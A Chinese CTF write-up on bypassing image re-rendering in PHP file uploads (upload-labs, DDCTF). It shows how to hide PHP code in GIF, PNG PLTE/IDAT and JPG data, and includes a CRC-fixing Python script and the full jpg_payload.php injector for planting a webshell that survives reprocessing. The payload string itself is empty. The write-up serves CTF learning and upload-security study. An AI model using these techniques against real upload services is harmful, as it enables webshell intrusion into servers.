CTF-中文件上传(2)

0x00:二次渲染

今天上午刚刚结束的DDCTF真的是让人脑壳很大,除了膜拜一波大佬之外,还get到了很多的新知识:
文件上传中,大部分题目回绕求我们上传图片格式,而我们就会伪造一些图片绕过验证,一些简单的前端验证还有一些服务器端的验证,都是比较简单的,但是有的时候就会涉及到比较困难的知识点,比如今天要说的:二次渲染

所谓二次渲染:

就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。

特点:无法通过普通的绕过方式进行上传,php代码会检测你传过去的数据流,如果检测不符合png、jpg、gif格式的话就会直接报错,如果上传成功之后,PHP会根据你的数据来生成新的特定jpg文件。并且利用时间戳或者其他随机方式来进行命名。所以普通绕过根本不可行

这里转载一下先知社区一位大佬的分析文章。(别问我为啥不自己写,写少了,说的不够详细,写多了,,,嫌麻烦。。)

0x01:原理分析

CTF-中文件上传(2)_第1张图片
这是来自于upload-labs,一款用于测试上传漏洞的靶场。

第71行检测 f i l e e x t 和 fileext和 fileextfiletype是否为gif格式.

然后73行使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败.

在这里有一个问题,如果作者是想考察绕过二次渲染的话,在move_uploaded_file( t m p n a m e , tmpname, tmpname,target_path)返回true的时候,就已经成功将图片马上传到服务器了,所以下面的二次渲染并不会影响到图片马的上传.如果是想考察文件后缀和content-type的话,那么二次渲染的代码就很多余.(到底考点在哪里,只有作者清楚.哈哈)

由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file函数移动的图片.

我看过的writeup都是直接由move_uploaded_file函数上传的图片马.今天我们把move_uploaded_file这个判断条件去除,然后尝试上传图片马.

0x02:绕过方式

上传gif:

添加到111.gif的尾部.

CTF-中文件上传(2)_第2张图片
然后传入网站,将网站预览生成的图片下载到本地
CTF-中文件上传(2)_第3张图片
可以看到图片的名称已经被强制修改了,所以从这一点我们可以看到是关于图片的二次渲染,010编辑器(16进制编辑器打开):
CTF-中文件上传(2)_第4张图片

可以发现,我们在gif末端添加的php代码已经被去除.

关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了.

经过对比,蓝色部分是没有发生变化的,
CTF-中文件上传(2)_第5张图片
我们将代码写到该位置.
CTF-中文件上传(2)_第6张图片
上传后在下载到本地使用16进制编辑器打开
CTF-中文件上传(2)_第7张图片
可以看到php代码没有被去除.成功上传图片马。

上传png

png图片由3个以上的数据块组成.

PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们.

数据块结构
CTF-中文件上传(2)_第8张图片
CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析数据块
IHDR
数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,它的格式如下图所示。
CTF-中文件上传(2)_第9张图片
PLTE
调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT
图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND
图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:

00 00 00 00 49 45 4E 44 AE 42 60 82

写入php代码
在网上找到了两种方式来制作绕过二次渲染的png木马.

写入PLTE数据块
php底层在对PLTE数据块验证的时候,主要进行了CRC校验.所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可.

这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像.

一:

1.在PLTE数据块写入php代码.
CTF-中文件上传(2)_第10张图片
2.计算PLTE数据块的CRC.
CRC脚本

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

运行结果

526579b0

3.修改CRC值
CTF-中文件上传(2)_第11张图片
4.验证
将修改后的png图片上传后,下载到本地打开
CTF-中文件上传(2)_第12张图片

二.写入IDAT数据块

这里有国外大牛写的脚本,直接拿来运行即可.


运行后得到1.png.上传后下载到本地打开如下图
CTF-中文件上传(2)_第13张图片

上传JPG

这里也采用国外大牛编写的脚本jpg_payload.php.



    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php ');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方法

准备

随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg.

插入php代码

使用脚本处理1.jpg,命令:

php jpg_payload.php 1.jpg

CTF-中文件上传(2)_第14张图片
使用16进制编辑器打开,就可以看到插入的php代码.
CTF-中文件上传(2)_第15张图片
上传图片马
将上传的图片再次下载到本地,使用16进制编辑器打开
CTF-中文件上传(2)_第16张图片
可以看到,php代码没有被去除.
证明我们成功上传了含有php代码的图片.

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.

0x03:实战操作

由于DDCTF结束了,但是根据官方所说应该在半年之内不会关闭服务器,所以大家可以尽情测试,嘿嘿嘿。。。。

0x04:基本错误的解决方式

1.没有php运行环境,去下载phpstudy然后进入php.exe文件中进行图片的生成。

2.DDCTF题目中,还有其他题目中可能会有一些进行特殊字符处理的函数,比如你插入成功但是发现并没有全部显示,而是有一部分被修改掉了,两个原因,一个是因为插入字符串的长度,另一个是因为某个字符的过滤,自己试试看吧。

你可能感兴趣的:(CTF)